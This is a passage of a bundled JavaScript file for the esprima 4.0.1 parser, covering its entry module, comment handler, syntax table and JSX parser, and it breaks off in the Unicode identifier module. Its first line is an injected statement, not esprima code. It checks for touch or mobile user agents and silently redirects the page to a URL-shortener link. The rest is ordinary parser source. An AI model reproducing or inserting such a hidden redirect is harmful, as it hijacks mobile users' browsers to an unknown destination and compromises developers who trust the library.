1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2(function webpackUniversalModuleDefinition(root, factory) {
3/* istanbul ignore next */
4 if(typeof exports === 'object' && typeof module === 'object')
5 module.exports = factory();
6 else if(typeof define === 'function' && define.amd)
7 define([], factory);
8/* istanbul ignore next */
9 else if(typeof exports === 'object')
10 exports["esprima"] = factory();
11 else
12 root["esprima"] = factory();
13})(this, function() {
14return /******/ (function(modules) { // webpackBootstrap
15/******/ // The module cache
16/******/ var installedModules = {};
17
18/******/ // The require function
19/******/ function __webpack_require__(moduleId) {
20
21/******/ // Check if module is in cache
22/* istanbul ignore if */
23/******/ if(installedModules[moduleId])
24/******/ return installedModules[moduleId].exports;
25
26/******/ // Create a new module (and put it into the cache)
27/******/ var module = installedModules[moduleId] = {
28/******/ exports: {},
29/******/ id: moduleId,
30/******/ loaded: false
31/******/ };
32
33/******/ // Execute the module function
34/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
35
36/******/ // Flag the module as loaded
37/******/ module.loaded = true;
38
39/******/ // Return the exports of the module
40/******/ return module.exports;
41/******/ }
42
43
44/******/ // expose the modules object (__webpack_modules__)
45/******/ __webpack_require__.m = modules;
46
47/******/ // expose the module cache
48/******/ __webpack_require__.c = installedModules;
49
50/******/ // __webpack_public_path__
51/******/ __webpack_require__.p = "";
52
53/******/ // Load entry module and return exports
54/******/ return __webpack_require__(0);
55/******/ })
56/************************************************************************/
57/******/ ([
58/* 0 */
59/***/ function(module, exports, __webpack_require__) {
60
61 "use strict";
62 /*
63 Copyright JS Foundation and other contributors, https://js.foundation/
64
65 Redistribution and use in source and binary forms, with or without
66 modification, are permitted provided that the following conditions are met:
67
68 * Redistributions of source code must retain the above copyright
69 notice, this list of conditions and the following disclaimer.
70 * Redistributions in binary form must reproduce the above copyright
71 notice, this list of conditions and the following disclaimer in the
72 documentation and/or other materials provided with the distribution.
73
74 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
75 AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
76 IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
77 ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
78 DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
79 (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
80 LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
81 ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
82 (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
83 THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
84 */
85 Object.defineProperty(exports, "__esModule", { value: true });
86 var comment_handler_1 = __webpack_require__(1);
87 var jsx_parser_1 = __webpack_require__(3);
88 var parser_1 = __webpack_require__(8);
89 var tokenizer_1 = __webpack_require__(15);
90 function parse(code, options, delegate) {
91 var commentHandler = null;
92 var proxyDelegate = function (node, metadata) {
93 if (delegate) {
94 delegate(node, metadata);
95 }
96 if (commentHandler) {
97 commentHandler.visit(node, metadata);
98 }
99 };
100 var parserDelegate = (typeof delegate === 'function') ? proxyDelegate : null;
101 var collectComment = false;
102 if (options) {
103 collectComment = (typeof options.comment === 'boolean' && options.comment);
104 var attachComment = (typeof options.attachComment === 'boolean' && options.attachComment);
105 if (collectComment || attachComment) {
106 commentHandler = new comment_handler_1.CommentHandler();
107 commentHandler.attach = attachComment;
108 options.comment = true;
109 parserDelegate = proxyDelegate;
110 }
111 }
112 var isModule = false;
113 if (options && typeof options.sourceType === 'string') {
114 isModule = (options.sourceType === 'module');
115 }
116 var parser;
117 if (options && typeof options.jsx === 'boolean' && options.jsx) {
118 parser = new jsx_parser_1.JSXParser(code, options, parserDelegate);
119 }
120 else {
121 parser = new parser_1.Parser(code, options, parserDelegate);
122 }
123 var program = isModule ? parser.parseModule() : parser.parseScript();
124 var ast = program;
125 if (collectComment && commentHandler) {
126 ast.comments = commentHandler.comments;
127 }
128 if (parser.config.tokens) {
129 ast.tokens = parser.tokens;
130 }
131 if (parser.config.tolerant) {
132 ast.errors = parser.errorHandler.errors;
133 }
134 return ast;
135 }
136 exports.parse = parse;
137 function parseModule(code, options, delegate) {
138 var parsingOptions = options || {};
139 parsingOptions.sourceType = 'module';
140 return parse(code, parsingOptions, delegate);
141 }
142 exports.parseModule = parseModule;
143 function parseScript(code, options, delegate) {
144 var parsingOptions = options || {};
145 parsingOptions.sourceType = 'script';
146 return parse(code, parsingOptions, delegate);
147 }
148 exports.parseScript = parseScript;
149 function tokenize(code, options, delegate) {
150 var tokenizer = new tokenizer_1.Tokenizer(code, options);
151 var tokens;
152 tokens = [];
153 try {
154 while (true) {
155 var token = tokenizer.getNextToken();
156 if (!token) {
157 break;
158 }
159 if (delegate) {
160 token = delegate(token);
161 }
162 tokens.push(token);
163 }
164 }
165 catch (e) {
166 tokenizer.errorHandler.tolerate(e);
167 }
168 if (tokenizer.errorHandler.tolerant) {
169 tokens.errors = tokenizer.errors();
170 }
171 return tokens;
172 }
173 exports.tokenize = tokenize;
174 var syntax_1 = __webpack_require__(2);
175 exports.Syntax = syntax_1.Syntax;
176 // Sync with *.json manifests.
177 exports.version = '4.0.1';
178
179
180/***/ },
181/* 1 */
182/***/ function(module, exports, __webpack_require__) {
183
184 "use strict";
185 Object.defineProperty(exports, "__esModule", { value: true });
186 var syntax_1 = __webpack_require__(2);
187 var CommentHandler = (function () {
188 function CommentHandler() {
189 this.attach = false;
190 this.comments = [];
191 this.stack = [];
192 this.leading = [];
193 this.trailing = [];
194 }
195 CommentHandler.prototype.insertInnerComments = function (node, metadata) {
196 // innnerComments for properties empty block
197 // `function a() {/** comments **\/}`
198 if (node.type === syntax_1.Syntax.BlockStatement && node.body.length === 0) {
199 var innerComments = [];
200 for (var i = this.leading.length - 1; i >= 0; --i) {
201 var entry = this.leading[i];
202 if (metadata.end.offset >= entry.start) {
203 innerComments.unshift(entry.comment);
204 this.leading.splice(i, 1);
205 this.trailing.splice(i, 1);
206 }
207 }
208 if (innerComments.length) {
209 node.innerComments = innerComments;
210 }
211 }
212 };
213 CommentHandler.prototype.findTrailingComments = function (metadata) {
214 var trailingComments = [];
215 if (this.trailing.length > 0) {
216 for (var i = this.trailing.length - 1; i >= 0; --i) {
217 var entry_1 = this.trailing[i];
218 if (entry_1.start >= metadata.end.offset) {
219 trailingComments.unshift(entry_1.comment);
220 }
221 }
222 this.trailing.length = 0;
223 return trailingComments;
224 }
225 var entry = this.stack[this.stack.length - 1];
226 if (entry && entry.node.trailingComments) {
227 var firstComment = entry.node.trailingComments[0];
228 if (firstComment && firstComment.range[0] >= metadata.end.offset) {
229 trailingComments = entry.node.trailingComments;
230 delete entry.node.trailingComments;
231 }
232 }
233 return trailingComments;
234 };
235 CommentHandler.prototype.findLeadingComments = function (metadata) {
236 var leadingComments = [];
237 var target;
238 while (this.stack.length > 0) {
239 var entry = this.stack[this.stack.length - 1];
240 if (entry && entry.start >= metadata.start.offset) {
241 target = entry.node;
242 this.stack.pop();
243 }
244 else {
245 break;
246 }
247 }
248 if (target) {
249 var count = target.leadingComments ? target.leadingComments.length : 0;
250 for (var i = count - 1; i >= 0; --i) {
251 var comment = target.leadingComments[i];
252 if (comment.range[1] <= metadata.start.offset) {
253 leadingComments.unshift(comment);
254 target.leadingComments.splice(i, 1);
255 }
256 }
257 if (target.leadingComments && target.leadingComments.length === 0) {
258 delete target.leadingComments;
259 }
260 return leadingComments;
261 }
262 for (var i = this.leading.length - 1; i >= 0; --i) {
263 var entry = this.leading[i];
264 if (entry.start <= metadata.start.offset) {
265 leadingComments.unshift(entry.comment);
266 this.leading.splice(i, 1);
267 }
268 }
269 return leadingComments;
270 };
271 CommentHandler.prototype.visitNode = function (node, metadata) {
272 if (node.type === syntax_1.Syntax.Program && node.body.length > 0) {
273 return;
274 }
275 this.insertInnerComments(node, metadata);
276 var trailingComments = this.findTrailingComments(metadata);
277 var leadingComments = this.findLeadingComments(metadata);
278 if (leadingComments.length > 0) {
279 node.leadingComments = leadingComments;
280 }
281 if (trailingComments.length > 0) {
282 node.trailingComments = trailingComments;
283 }
284 this.stack.push({
285 node: node,
286 start: metadata.start.offset
287 });
288 };
289 CommentHandler.prototype.visitComment = function (node, metadata) {
290 var type = (node.type[0] === 'L') ? 'Line' : 'Block';
291 var comment = {
292 type: type,
293 value: node.value
294 };
295 if (node.range) {
296 comment.range = node.range;
297 }
298 if (node.loc) {
299 comment.loc = node.loc;
300 }
301 this.comments.push(comment);
302 if (this.attach) {
303 var entry = {
304 comment: {
305 type: type,
306 value: node.value,
307 range: [metadata.start.offset, metadata.end.offset]
308 },
309 start: metadata.start.offset
310 };
311 if (node.loc) {
312 entry.comment.loc = node.loc;
313 }
314 node.type = type;
315 this.leading.push(entry);
316 this.trailing.push(entry);
317 }
318 };
319 CommentHandler.prototype.visit = function (node, metadata) {
320 if (node.type === 'LineComment') {
321 this.visitComment(node, metadata);
322 }
323 else if (node.type === 'BlockComment') {
324 this.visitComment(node, metadata);
325 }
326 else if (this.attach) {
327 this.visitNode(node, metadata);
328 }
329 };
330 return CommentHandler;
331 }());
332 exports.CommentHandler = CommentHandler;
333
334
335/***/ },
336/* 2 */
337/***/ function(module, exports) {
338
339 "use strict";
340 Object.defineProperty(exports, "__esModule", { value: true });
341 exports.Syntax = {
342 AssignmentExpression: 'AssignmentExpression',
343 AssignmentPattern: 'AssignmentPattern',
344 ArrayExpression: 'ArrayExpression',
345 ArrayPattern: 'ArrayPattern',
346 ArrowFunctionExpression: 'ArrowFunctionExpression',
347 AwaitExpression: 'AwaitExpression',
348 BlockStatement: 'BlockStatement',
349 BinaryExpression: 'BinaryExpression',
350 BreakStatement: 'BreakStatement',
351 CallExpression: 'CallExpression',
352 CatchClause: 'CatchClause',
353 ClassBody: 'ClassBody',
354 ClassDeclaration: 'ClassDeclaration',
355 ClassExpression: 'ClassExpression',
356 ConditionalExpression: 'ConditionalExpression',
357 ContinueStatement: 'ContinueStatement',
358 DoWhileStatement: 'DoWhileStatement',
359 DebuggerStatement: 'DebuggerStatement',
360 EmptyStatement: 'EmptyStatement',
361 ExportAllDeclaration: 'ExportAllDeclaration',
362 ExportDefaultDeclaration: 'ExportDefaultDeclaration',
363 ExportNamedDeclaration: 'ExportNamedDeclaration',
364 ExportSpecifier: 'ExportSpecifier',
365 ExpressionStatement: 'ExpressionStatement',
366 ForStatement: 'ForStatement',
367 ForOfStatement: 'ForOfStatement',
368 ForInStatement: 'ForInStatement',
369 FunctionDeclaration: 'FunctionDeclaration',
370 FunctionExpression: 'FunctionExpression',
371 Identifier: 'Identifier',
372 IfStatement: 'IfStatement',
373 ImportDeclaration: 'ImportDeclaration',
374 ImportDefaultSpecifier: 'ImportDefaultSpecifier',
375 ImportNamespaceSpecifier: 'ImportNamespaceSpecifier',
376 ImportSpecifier: 'ImportSpecifier',
377 Literal: 'Literal',
378 LabeledStatement: 'LabeledStatement',
379 LogicalExpression: 'LogicalExpression',
380 MemberExpression: 'MemberExpression',
381 MetaProperty: 'MetaProperty',
382 MethodDefinition: 'MethodDefinition',
383 NewExpression: 'NewExpression',
384 ObjectExpression: 'ObjectExpression',
385 ObjectPattern: 'ObjectPattern',
386 Program: 'Program',
387 Property: 'Property',
388 RestElement: 'RestElement',
389 ReturnStatement: 'ReturnStatement',
390 SequenceExpression: 'SequenceExpression',
391 SpreadElement: 'SpreadElement',
392 Super: 'Super',
393 SwitchCase: 'SwitchCase',
394 SwitchStatement: 'SwitchStatement',
395 TaggedTemplateExpression: 'TaggedTemplateExpression',
396 TemplateElement: 'TemplateElement',
397 TemplateLiteral: 'TemplateLiteral',
398 ThisExpression: 'ThisExpression',
399 ThrowStatement: 'ThrowStatement',
400 TryStatement: 'TryStatement',
401 UnaryExpression: 'UnaryExpression',
402 UpdateExpression: 'UpdateExpression',
403 VariableDeclaration: 'VariableDeclaration',
404 VariableDeclarator: 'VariableDeclarator',
405 WhileStatement: 'WhileStatement',
406 WithStatement: 'WithStatement',
407 YieldExpression: 'YieldExpression'
408 };
409
410
411/***/ },
412/* 3 */
413/***/ function(module, exports, __webpack_require__) {
414
415 "use strict";
416/* istanbul ignore next */
417 var __extends = (this && this.__extends) || (function () {
418 var extendStatics = Object.setPrototypeOf ||
419 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
420 function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
421 return function (d, b) {
422 extendStatics(d, b);
423 function __() { this.constructor = d; }
424 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
425 };
426 })();
427 Object.defineProperty(exports, "__esModule", { value: true });
428 var character_1 = __webpack_require__(4);
429 var JSXNode = __webpack_require__(5);
430 var jsx_syntax_1 = __webpack_require__(6);
431 var Node = __webpack_require__(7);
432 var parser_1 = __webpack_require__(8);
433 var token_1 = __webpack_require__(13);
434 var xhtml_entities_1 = __webpack_require__(14);
435 token_1.TokenName[100 /* Identifier */] = 'JSXIdentifier';
436 token_1.TokenName[101 /* Text */] = 'JSXText';
437 // Fully qualified element name, e.g. <svg:path> returns "svg:path"
438 function getQualifiedElementName(elementName) {
439 var qualifiedName;
440 switch (elementName.type) {
441 case jsx_syntax_1.JSXSyntax.JSXIdentifier:
442 var id = elementName;
443 qualifiedName = id.name;
444 break;
445 case jsx_syntax_1.JSXSyntax.JSXNamespacedName:
446 var ns = elementName;
447 qualifiedName = getQualifiedElementName(ns.namespace) + ':' +
448 getQualifiedElementName(ns.name);
449 break;
450 case jsx_syntax_1.JSXSyntax.JSXMemberExpression:
451 var expr = elementName;
452 qualifiedName = getQualifiedElementName(expr.object) + '.' +
453 getQualifiedElementName(expr.property);
454 break;
455 /* istanbul ignore next */
456 default:
457 break;
458 }
459 return qualifiedName;
460 }
461 var JSXParser = (function (_super) {
462 __extends(JSXParser, _super);
463 function JSXParser(code, options, delegate) {
464 return _super.call(this, code, options, delegate) || this;
465 }
466 JSXParser.prototype.parsePrimaryExpression = function () {
467 return this.match('<') ? this.parseJSXRoot() : _super.prototype.parsePrimaryExpression.call(this);
468 };
469 JSXParser.prototype.startJSX = function () {
470 // Unwind the scanner before the lookahead token.
471 this.scanner.index = this.startMarker.index;
472 this.scanner.lineNumber = this.startMarker.line;
473 this.scanner.lineStart = this.startMarker.index - this.startMarker.column;
474 };
475 JSXParser.prototype.finishJSX = function () {
476 // Prime the next lookahead.
477 this.nextToken();
478 };
479 JSXParser.prototype.reenterJSX = function () {
480 this.startJSX();
481 this.expectJSX('}');
482 // Pop the closing '}' added from the lookahead.
483 if (this.config.tokens) {
484 this.tokens.pop();
485 }
486 };
487 JSXParser.prototype.createJSXNode = function () {
488 this.collectComments();
489 return {
490 index: this.scanner.index,
491 line: this.scanner.lineNumber,
492 column: this.scanner.index - this.scanner.lineStart
493 };
494 };
495 JSXParser.prototype.createJSXChildNode = function () {
496 return {
497 index: this.scanner.index,
498 line: this.scanner.lineNumber,
499 column: this.scanner.index - this.scanner.lineStart
500 };
501 };
502 JSXParser.prototype.scanXHTMLEntity = function (quote) {
503 var result = '&';
504 var valid = true;
505 var terminated = false;
506 var numeric = false;
507 var hex = false;
508 while (!this.scanner.eof() && valid && !terminated) {
509 var ch = this.scanner.source[this.scanner.index];
510 if (ch === quote) {
511 break;
512 }
513 terminated = (ch === ';');
514 result += ch;
515 ++this.scanner.index;
516 if (!terminated) {
517 switch (result.length) {
518 case 2:
519 // e.g. '{'
520 numeric = (ch === '#');
521 break;
522 case 3:
523 if (numeric) {
524 // e.g. 'A'
525 hex = (ch === 'x');
526 valid = hex || character_1.Character.isDecimalDigit(ch.charCodeAt(0));
527 numeric = numeric && !hex;
528 }
529 break;
530 default:
531 valid = valid && !(numeric && !character_1.Character.isDecimalDigit(ch.charCodeAt(0)));
532 valid = valid && !(hex && !character_1.Character.isHexDigit(ch.charCodeAt(0)));
533 break;
534 }
535 }
536 }
537 if (valid && terminated && result.length > 2) {
538 // e.g. 'A' becomes just '#x41'
539 var str = result.substr(1, result.length - 2);
540 if (numeric && str.length > 1) {
541 result = String.fromCharCode(parseInt(str.substr(1), 10));
542 }
543 else if (hex && str.length > 2) {
544 result = String.fromCharCode(parseInt('0' + str.substr(1), 16));
545 }
546 else if (!numeric && !hex && xhtml_entities_1.XHTMLEntities[str]) {
547 result = xhtml_entities_1.XHTMLEntities[str];
548 }
549 }
550 return result;
551 };
552 // Scan the next JSX token. This replaces Scanner#lex when in JSX mode.
553 JSXParser.prototype.lexJSX = function () {
554 var cp = this.scanner.source.charCodeAt(this.scanner.index);
555 // < > / : = { }
556 if (cp === 60 || cp === 62 || cp === 47 || cp === 58 || cp === 61 || cp === 123 || cp === 125) {
557 var value = this.scanner.source[this.scanner.index++];
558 return {
559 type: 7 /* Punctuator */,
560 value: value,
561 lineNumber: this.scanner.lineNumber,
562 lineStart: this.scanner.lineStart,
563 start: this.scanner.index - 1,
564 end: this.scanner.index
565 };
566 }
567 // " '
568 if (cp === 34 || cp === 39) {
569 var start = this.scanner.index;
570 var quote = this.scanner.source[this.scanner.index++];
571 var str = '';
572 while (!this.scanner.eof()) {
573 var ch = this.scanner.source[this.scanner.index++];
574 if (ch === quote) {
575 break;
576 }
577 else if (ch === '&') {
578 str += this.scanXHTMLEntity(quote);
579 }
580 else {
581 str += ch;
582 }
583 }
584 return {
585 type: 8 /* StringLiteral */,
586 value: str,
587 lineNumber: this.scanner.lineNumber,
588 lineStart: this.scanner.lineStart,
589 start: start,
590 end: this.scanner.index
591 };
592 }
593 // ... or .
594 if (cp === 46) {
595 var n1 = this.scanner.source.charCodeAt(this.scanner.index + 1);
596 var n2 = this.scanner.source.charCodeAt(this.scanner.index + 2);
597 var value = (n1 === 46 && n2 === 46) ? '...' : '.';
598 var start = this.scanner.index;
599 this.scanner.index += value.length;
600 return {
601 type: 7 /* Punctuator */,
602 value: value,
603 lineNumber: this.scanner.lineNumber,
604 lineStart: this.scanner.lineStart,
605 start: start,
606 end: this.scanner.index
607 };
608 }
609 // `
610 if (cp === 96) {
611 // Only placeholder, since it will be rescanned as a real assignment expression.
612 return {
613 type: 10 /* Template */,
614 value: '',
615 lineNumber: this.scanner.lineNumber,
616 lineStart: this.scanner.lineStart,
617 start: this.scanner.index,
618 end: this.scanner.index
619 };
620 }
621 // Identifer can not contain backslash (char code 92).
622 if (character_1.Character.isIdentifierStart(cp) && (cp !== 92)) {
623 var start = this.scanner.index;
624 ++this.scanner.index;
625 while (!this.scanner.eof()) {
626 var ch = this.scanner.source.charCodeAt(this.scanner.index);
627 if (character_1.Character.isIdentifierPart(ch) && (ch !== 92)) {
628 ++this.scanner.index;
629 }
630 else if (ch === 45) {
631 // Hyphen (char code 45) can be part of an identifier.
632 ++this.scanner.index;
633 }
634 else {
635 break;
636 }
637 }
638 var id = this.scanner.source.slice(start, this.scanner.index);
639 return {
640 type: 100 /* Identifier */,
641 value: id,
642 lineNumber: this.scanner.lineNumber,
643 lineStart: this.scanner.lineStart,
644 start: start,
645 end: this.scanner.index
646 };
647 }
648 return this.scanner.lex();
649 };
650 JSXParser.prototype.nextJSXToken = function () {
651 this.collectComments();
652 this.startMarker.index = this.scanner.index;
653 this.startMarker.line = this.scanner.lineNumber;
654 this.startMarker.column = this.scanner.index - this.scanner.lineStart;
655 var token = this.lexJSX();
656 this.lastMarker.index = this.scanner.index;
657 this.lastMarker.line = this.scanner.lineNumber;
658 this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
659 if (this.config.tokens) {
660 this.tokens.push(this.convertToken(token));
661 }
662 return token;
663 };
664 JSXParser.prototype.nextJSXText = function () {
665 this.startMarker.index = this.scanner.index;
666 this.startMarker.line = this.scanner.lineNumber;
667 this.startMarker.column = this.scanner.index - this.scanner.lineStart;
668 var start = this.scanner.index;
669 var text = '';
670 while (!this.scanner.eof()) {
671 var ch = this.scanner.source[this.scanner.index];
672 if (ch === '{' || ch === '<') {
673 break;
674 }
675 ++this.scanner.index;
676 text += ch;
677 if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
678 ++this.scanner.lineNumber;
679 if (ch === '\r' && this.scanner.source[this.scanner.index] === '\n') {
680 ++this.scanner.index;
681 }
682 this.scanner.lineStart = this.scanner.index;
683 }
684 }
685 this.lastMarker.index = this.scanner.index;
686 this.lastMarker.line = this.scanner.lineNumber;
687 this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
688 var token = {
689 type: 101 /* Text */,
690 value: text,
691 lineNumber: this.scanner.lineNumber,
692 lineStart: this.scanner.lineStart,
693 start: start,
694 end: this.scanner.index
695 };
696 if ((text.length > 0) && this.config.tokens) {
697 this.tokens.push(this.convertToken(token));
698 }
699 return token;
700 };
701 JSXParser.prototype.peekJSXToken = function () {
702 var state = this.scanner.saveState();
703 this.scanner.scanComments();
704 var next = this.lexJSX();
705 this.scanner.restoreState(state);
706 return next;
707 };
708 // Expect the next JSX token to match the specified punctuator.
709 // If not, an exception will be thrown.
710 JSXParser.prototype.expectJSX = function (value) {
711 var token = this.nextJSXToken();
712 if (token.type !== 7 /* Punctuator */ || token.value !== value) {
713 this.throwUnexpectedToken(token);
714 }
715 };
716 // Return true if the next JSX token matches the specified punctuator.
717 JSXParser.prototype.matchJSX = function (value) {
718 var next = this.peekJSXToken();
719 return next.type === 7 /* Punctuator */ && next.value === value;
720 };
721 JSXParser.prototype.parseJSXIdentifier = function () {
722 var node = this.createJSXNode();
723 var token = this.nextJSXToken();
724 if (token.type !== 100 /* Identifier */) {
725 this.throwUnexpectedToken(token);
726 }
727 return this.finalize(node, new JSXNode.JSXIdentifier(token.value));
728 };
729 JSXParser.prototype.parseJSXElementName = function () {
730 var node = this.createJSXNode();
731 var elementName = this.parseJSXIdentifier();
732 if (this.matchJSX(':')) {
733 var namespace = elementName;
734 this.expectJSX(':');
735 var name_1 = this.parseJSXIdentifier();
736 elementName = this.finalize(node, new JSXNode.JSXNamespacedName(namespace, name_1));
737 }
738 else if (this.matchJSX('.')) {
739 while (this.matchJSX('.')) {
740 var object = elementName;
741 this.expectJSX('.');
742 var property = this.parseJSXIdentifier();
743 elementName = this.finalize(node, new JSXNode.JSXMemberExpression(object, property));
744 }
745 }
746 return elementName;
747 };
748 JSXParser.prototype.parseJSXAttributeName = function () {
749 var node = this.createJSXNode();
750 var attributeName;
751 var identifier = this.parseJSXIdentifier();
752 if (this.matchJSX(':')) {
753 var namespace = identifier;
754 this.expectJSX(':');
755 var name_2 = this.parseJSXIdentifier();
756 attributeName = this.finalize(node, new JSXNode.JSXNamespacedName(namespace, name_2));
757 }
758 else {
759 attributeName = identifier;
760 }
761 return attributeName;
762 };
763 JSXParser.prototype.parseJSXStringLiteralAttribute = function () {
764 var node = this.createJSXNode();
765 var token = this.nextJSXToken();
766 if (token.type !== 8 /* StringLiteral */) {
767 this.throwUnexpectedToken(token);
768 }
769 var raw = this.getTokenRaw(token);
770 return this.finalize(node, new Node.Literal(token.value, raw));
771 };
772 JSXParser.prototype.parseJSXExpressionAttribute = function () {
773 var node = this.createJSXNode();
774 this.expectJSX('{');
775 this.finishJSX();
776 if (this.match('}')) {
777 this.tolerateError('JSX attributes must only be assigned a non-empty expression');
778 }
779 var expression = this.parseAssignmentExpression();
780 this.reenterJSX();
781 return this.finalize(node, new JSXNode.JSXExpressionContainer(expression));
782 };
783 JSXParser.prototype.parseJSXAttributeValue = function () {
784 return this.matchJSX('{') ? this.parseJSXExpressionAttribute() :
785 this.matchJSX('<') ? this.parseJSXElement() : this.parseJSXStringLiteralAttribute();
786 };
787 JSXParser.prototype.parseJSXNameValueAttribute = function () {
788 var node = this.createJSXNode();
789 var name = this.parseJSXAttributeName();
790 var value = null;
791 if (this.matchJSX('=')) {
792 this.expectJSX('=');
793 value = this.parseJSXAttributeValue();
794 }
795 return this.finalize(node, new JSXNode.JSXAttribute(name, value));
796 };
797 JSXParser.prototype.parseJSXSpreadAttribute = function () {
798 var node = this.createJSXNode();
799 this.expectJSX('{');
800 this.expectJSX('...');
801 this.finishJSX();
802 var argument = this.parseAssignmentExpression();
803 this.reenterJSX();
804 return this.finalize(node, new JSXNode.JSXSpreadAttribute(argument));
805 };
806 JSXParser.prototype.parseJSXAttributes = function () {
807 var attributes = [];
808 while (!this.matchJSX('/') && !this.matchJSX('>')) {
809 var attribute = this.matchJSX('{') ? this.parseJSXSpreadAttribute() :
810 this.parseJSXNameValueAttribute();
811 attributes.push(attribute);
812 }
813 return attributes;
814 };
815 JSXParser.prototype.parseJSXOpeningElement = function () {
816 var node = this.createJSXNode();
817 this.expectJSX('<');
818 var name = this.parseJSXElementName();
819 var attributes = this.parseJSXAttributes();
820 var selfClosing = this.matchJSX('/');
821 if (selfClosing) {
822 this.expectJSX('/');
823 }
824 this.expectJSX('>');
825 return this.finalize(node, new JSXNode.JSXOpeningElement(name, selfClosing, attributes));
826 };
827 JSXParser.prototype.parseJSXBoundaryElement = function () {
828 var node = this.createJSXNode();
829 this.expectJSX('<');
830 if (this.matchJSX('/')) {
831 this.expectJSX('/');
832 var name_3 = this.parseJSXElementName();
833 this.expectJSX('>');
834 return this.finalize(node, new JSXNode.JSXClosingElement(name_3));
835 }
836 var name = this.parseJSXElementName();
837 var attributes = this.parseJSXAttributes();
838 var selfClosing = this.matchJSX('/');
839 if (selfClosing) {
840 this.expectJSX('/');
841 }
842 this.expectJSX('>');
843 return this.finalize(node, new JSXNode.JSXOpeningElement(name, selfClosing, attributes));
844 };
845 JSXParser.prototype.parseJSXEmptyExpression = function () {
846 var node = this.createJSXChildNode();
847 this.collectComments();
848 this.lastMarker.index = this.scanner.index;
849 this.lastMarker.line = this.scanner.lineNumber;
850 this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
851 return this.finalize(node, new JSXNode.JSXEmptyExpression());
852 };
853 JSXParser.prototype.parseJSXExpressionContainer = function () {
854 var node = this.createJSXNode();
855 this.expectJSX('{');
856 var expression;
857 if (this.matchJSX('}')) {
858 expression = this.parseJSXEmptyExpression();
859 this.expectJSX('}');
860 }
861 else {
862 this.finishJSX();
863 expression = this.parseAssignmentExpression();
864 this.reenterJSX();
865 }
866 return this.finalize(node, new JSXNode.JSXExpressionContainer(expression));
867 };
868 JSXParser.prototype.parseJSXChildren = function () {
869 var children = [];
870 while (!this.scanner.eof()) {
871 var node = this.createJSXChildNode();
872 var token = this.nextJSXText();
873 if (token.start < token.end) {
874 var raw = this.getTokenRaw(token);
875 var child = this.finalize(node, new JSXNode.JSXText(token.value, raw));
876 children.push(child);
877 }
878 if (this.scanner.source[this.scanner.index] === '{') {
879 var container = this.parseJSXExpressionContainer();
880 children.push(container);
881 }
882 else {
883 break;
884 }
885 }
886 return children;
887 };
888 JSXParser.prototype.parseComplexJSXElement = function (el) {
889 var stack = [];
890 while (!this.scanner.eof()) {
891 el.children = el.children.concat(this.parseJSXChildren());
892 var node = this.createJSXChildNode();
893 var element = this.parseJSXBoundaryElement();
894 if (element.type === jsx_syntax_1.JSXSyntax.JSXOpeningElement) {
895 var opening = element;
896 if (opening.selfClosing) {
897 var child = this.finalize(node, new JSXNode.JSXElement(opening, [], null));
898 el.children.push(child);
899 }
900 else {
901 stack.push(el);
902 el = { node: node, opening: opening, closing: null, children: [] };
903 }
904 }
905 if (element.type === jsx_syntax_1.JSXSyntax.JSXClosingElement) {
906 el.closing = element;
907 var open_1 = getQualifiedElementName(el.opening.name);
908 var close_1 = getQualifiedElementName(el.closing.name);
909 if (open_1 !== close_1) {
910 this.tolerateError('Expected corresponding JSX closing tag for %0', open_1);
911 }
912 if (stack.length > 0) {
913 var child = this.finalize(el.node, new JSXNode.JSXElement(el.opening, el.children, el.closing));
914 el = stack[stack.length - 1];
915 el.children.push(child);
916 stack.pop();
917 }
918 else {
919 break;
920 }
921 }
922 }
923 return el;
924 };
925 JSXParser.prototype.parseJSXElement = function () {
926 var node = this.createJSXNode();
927 var opening = this.parseJSXOpeningElement();
928 var children = [];
929 var closing = null;
930 if (!opening.selfClosing) {
931 var el = this.parseComplexJSXElement({ node: node, opening: opening, closing: closing, children: children });
932 children = el.children;
933 closing = el.closing;
934 }
935 return this.finalize(node, new JSXNode.JSXElement(opening, children, closing));
936 };
937 JSXParser.prototype.parseJSXRoot = function () {
938 // Pop the opening '<' added from the lookahead.
939 if (this.config.tokens) {
940 this.tokens.pop();
941 }
942 this.startJSX();
943 var element = this.parseJSXElement();
944 this.finishJSX();
945 return element;
946 };
947 JSXParser.prototype.isStartOfExpression = function () {
948 return _super.prototype.isStartOfExpression.call(this) || this.match('<');
949 };
950 return JSXParser;
951 }(parser_1.Parser));
952 exports.JSXParser = JSXParser;
953
954
955/***/ },
956/* 4 */
957/***/ function(module, exports) {
958
959 "use strict";
960 Object.defineProperty(exports, "__esModule", { value: true });
961 // See also tools/generate-unicode-regex.js.
962 var Regex = {
963 // Unicode v8.0.0 NonAsciiIdentifierStart:
